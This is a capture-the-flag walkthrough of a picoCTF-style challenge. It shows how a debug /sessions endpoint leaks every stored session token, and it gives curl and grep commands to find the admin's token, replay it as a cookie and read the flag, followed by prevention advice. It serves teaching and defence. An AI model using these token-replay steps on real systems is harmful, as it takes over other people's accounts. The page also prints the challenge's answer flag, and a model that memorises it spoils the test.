Description
Proper session timeout controls are critical for securing user accounts. If a user logs in on a public computer but doesn't log out, and session expiration dates are misconfigured, the session may remain active indefinitely, allowing an attacker to access the account without ever knowing the password.
This challenge wraps that idea around a debug endpoint that leaks every active session token in the database. Find the admin's stale token, replay it as a cookie, and the application authenticates you as admin.
Setup
curl -c jar.txt -b jar.txt -d 'username=test&password=test' http://<HOST>:<PORT_FROM_INSTANCE>/loginSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Register, log in, and check /sessions
ObservationThe description mentions a debug endpoint that leaks session tokens. An authenticated request to /sessions should expose the admin's stale token with no password involved.Register a test account, log in, then navigate to /sessions. This page exposes all active session tokens in the database, including the admin's.bash# In the browser: register a new account, then log inbash# Then navigate to: http://<HOST>:<PORT_FROM_INSTANCE>/sessionsbash# Or with curl:bashcurl -c jar.txt -d 'username=test&password=test' http://<HOST>:<PORT_FROM_INSTANCE>/registerbashcurl -c jar.txt -b jar.txt -d 'username=test&password=test' http://<HOST>:<PORT_FROM_INSTANCE>/loginbashcurl -b jar.txt http://<HOST>:<PORT_FROM_INSTANCE>/sessionsExpected output
picoCTF{s3t_s3ss10n_3xp1rat10n5_...}The vulnerable endpoint is
/sessions. Instead of restricting it to the current user, it dumps every session stored in the Redis backend, one per numbered line. Each line is a key name (session:<id>) followed by the decoded session payload:1) session:PzkDYsNCGgrNQYyrVObF2UvaQvMp_RU-dAfk4rPEFyM, {'_permanent': True, 'key': 'test'} 2) session:mL_C8lzVGrqTt1qiyIqiRnH0YyEPDqQMGEB-a_vrIsg, {'_permanent': True, 'key': 'admin'}The part after the colon and before the comma is the raw session ID. The
keyfield in the payload tells you which user the session belongs to. Find the entry where'key': 'admin'and copy the session ID.What didn't work first
Tried: Running a directory brute-force with gobuster or ffuf before manually browsing the application
gobuster enumerates paths, but /sessions needs an authenticated cookie before it returns token data; unauthenticated it just redirects or comes back empty. Log in, carry the cookie, and then it dumps everything.
Tried: Looking for the admin token in the Set-Cookie header of the login response
The server issues a token for the account you authenticated as and no other. The admin's token was created in an earlier session and lives in the server-side store, visible only through the listing endpoint, never in a header from your own login.
Learn more
Session management is one of the most critical and most commonly misconfigured aspects of web application security. A session token is a secret value that identifies an authenticated user to the server after login. If session tokens are exposed or never invalidated, attackers can reuse them to authenticate as the original user without knowing their password.
In a well-designed application, session tokens should be: randomly generated with sufficient entropy (at least 128 bits), transmitted only over HTTPS, stored in HttpOnly cookies to prevent JavaScript access, and invalidated on logout and after a configurable idle/absolute timeout. The OWASP Session Management Cheat Sheet documents these requirements in detail.
This challenge demonstrates what happens when a developer accidentally exposes a session listing endpoint, a debug or admin feature left accessible in production. Always enumerate common paths like
/api/sessions,/admin,/debug, and/.well-known/during web application reconnaissance. Tools likeffuf,gobuster, andferoxbusterautomate this with wordlists. For more on cookie-style session abuse see the Cookie and JWT attacks for CTF post; for the broader pattern catalogue see Web challenges and real-world bug patterns.Step 2Find the admin session
ObservationEach session in the response carries a key field naming its owner, so filtering for admin points straight at the right token.The /sessions page labels each session by username ('key': 'admin'). Simply identify the row where the key is admin and copy that session ID. No brute-forcing is needed.bash# The /sessions response is plaintext: each line is 'session:<id>, {payload}'bash# Pull out session IDs and their key (username) with grep:bashcurl -s -b jar.txt http://<HOST>:<PORT_FROM_INSTANCE>/sessions | grep -oP "session:\K[^,]+(?=.*'key': 'admin')"bash# Or extract all IDs and probe which one reaches /admin:bashfor tok in $(curl -s -b jar.txt http://<HOST>:<PORT_FROM_INSTANCE>/sessions | grep -oP "session:\K[^,]+"); do echo -n "$tok -> "; curl -so /dev/null -w "%{http_code}\n" -b "session=$tok" http://<HOST>:<PORT_FROM_INSTANCE>/admin doneWhat didn't work first
Tried: Using grep with a pattern that matches the full 'session:ID' key including the prefix, then pasting that entire string as the cookie value
The cookie takes only the ID portion; the leading 'session:' is the store's key prefix, not part of the token. Include it and the server looks up a doubled key that does not exist, and treats you as unauthenticated. Strip it first.
Tried: Brute-forcing the /admin route by cycling through all session IDs from the dump until one returns HTTP 200
The dump already labels each token with its user, so brute force is slower and pointless. One grep finds it in a single request, and repeated failed attempts risk a lockout or an alert.
Learn more
Session fixation and session hijacking are two related attacks. Session hijacking (this challenge) involves stealing a valid session token from another user. Session fixation is when an attacker forces a user to use a known session ID before authentication.
Sessions that never expire (or have extremely long timeouts) are a specific vulnerability class. The admin's session in this challenge was created when they logged in and configured the system, then left running indefinitely. This is realistic: administrators often have persistent sessions on internal tools, and if those tools are misconfigured or compromised, all active sessions become attack vectors.
Real-world session hygiene best practices include: absolute session timeouts (force re-login after N hours regardless of activity), idle timeouts (invalidate after N minutes of inactivity), single-session enforcement (new login invalidates old sessions), and session listing in user account pages so users can see and revoke active sessions.
Step 3Hijack the admin session
ObservationThe application authenticates purely on a session cookie set at login, so replaying the admin's token in that cookie makes the server treat the request as theirs.Use the admin's session token as a cookie to authenticate as admin without knowing the password. The cleanest way is curl with -b; in a browser, paste the token via DevTools and refresh the page.bashcurl -b 'session=mL_C8lz...vrIsg' http://<HOST>:<PORT_FROM_INSTANCE>/adminbashcurl -b 'session=mL_C8lz...vrIsg' http://<HOST>:<PORT_FROM_INSTANCE>/flagBrowser equivalent: open DevTools, switch to the Application tab, find the cookie under Storage, paste the admin token over the existing value, then reload
/admin. The browser sends the new cookie and the server treats every subsequent request as the admin's.What didn't work first
Tried: Sending the token as a Bearer Authorization header instead of a cookie
This app uses cookie sessions, not bearer tokens. An Authorization header is ignored by the session middleware, which reads only the cookie, so you get a 401 or a redirect as though you sent nothing. Deliver the token the way the application issues it.
Tried: URL-encoding or Base64-encoding the session token before placing it in the -b flag
The raw session ID from the dump is already the literal cookie value the server wants. Encode it and the string no longer matches any key, so the lookup fails. Pass it through unchanged.
Learn more
HTTP is a stateless protocol; each request is independent. Cookies are how browsers maintain stateful sessions: the server sets a cookie on login, and the browser automatically includes it with every subsequent request to that domain. Replaying a stolen cookie via
curl -bis exactly what a browser does, so the server cannot distinguish the attacker from the legitimate user.This is why HttpOnly and Secure cookie flags matter.
HttpOnlyprevents JavaScript from reading the cookie (mitigating XSS-based session theft), whileSecureensures the cookie is only sent over HTTPS (preventing interception on unencrypted networks). Neither flag helps here since we're using a server-side exposure, but they protect against the more common theft vectors.In a browser, you can manually set cookies using the developer tools console:
document.cookie = "session=TOKEN". For API testing with curl, the-bflag sends cookie values, and-c cookie.jarsaves received cookies to a file for reuse across requests, useful when exploiting multi-step vulnerabilities.Step 4Read the flag
ObservationWith that cookie attached, the admin route returns admin-only content, and the flag is rendered right in the HTML.After replacing the session cookie with the admin's token, return to the main page. The application recognises you as admin and displays the flag there.bashcurl -b 'session=mL_C8lz...vrIsg' http://<HOST>:<PORT_FROM_INSTANCE>/admin | grep -oE 'picoCTF\{[^}]+\}'Learn more
If the flag isn't in the obvious admin landing page, look at the diff between admin and non-admin views: navigation entries, dropdowns, hidden form fields, or API endpoints only exposed to elevated users.
curl -s ... | diff -against your own session's response is a quick way to spot the privileged surface.This is also a good moment to check what an admin can do, not just see. Many CTF challenges scaffolded around stolen sessions hide the flag behind a state change (creating a post, approving a record, exporting data), so try POST endpoints with the hijacked cookie too.
Interactive tools
- Flask Session DecoderDecode Flask / itsdangerous session cookies. Splits payload, decompresses zlib, parses JSON, and verifies the HMAC signature when given the secret.
Flag
Reveal flag
picoCTF{s3t_s3ss10n_3xp1rat10n5_...}
The admin's session token is visible at /sessions and never expires due to a misconfigured session timeout.
Key takeaway
How to prevent this
How to prevent this
Two compounding bugs here: a debug endpoint shipped to prod, and sessions that never die. Fix both.
- Set absolute and idle session timeouts. 24h absolute, 30min idle is a reasonable default for most apps; admin sessions should be shorter. Rotate the session ID on every privilege escalation.
- Never expose a list of active sessions outside the user's own account context.
/sessionsshould return your sessions only, and the token values must be redacted (show last 4 chars at most). - Audit routes before each release.
/admin,/debug,/sessions,/.env,/.gitshould be either auth-gated or 404. Tools likenuclei,ffuf, andgobusterin CI catch these in seconds. - Bind sessions to a fingerprint (User-Agent hash plus a coarse IP class). Any drift forces re-auth. This won't stop a determined attacker on the same network, but it raises the cost of replaying a stolen cookie from a different country, which is the common case.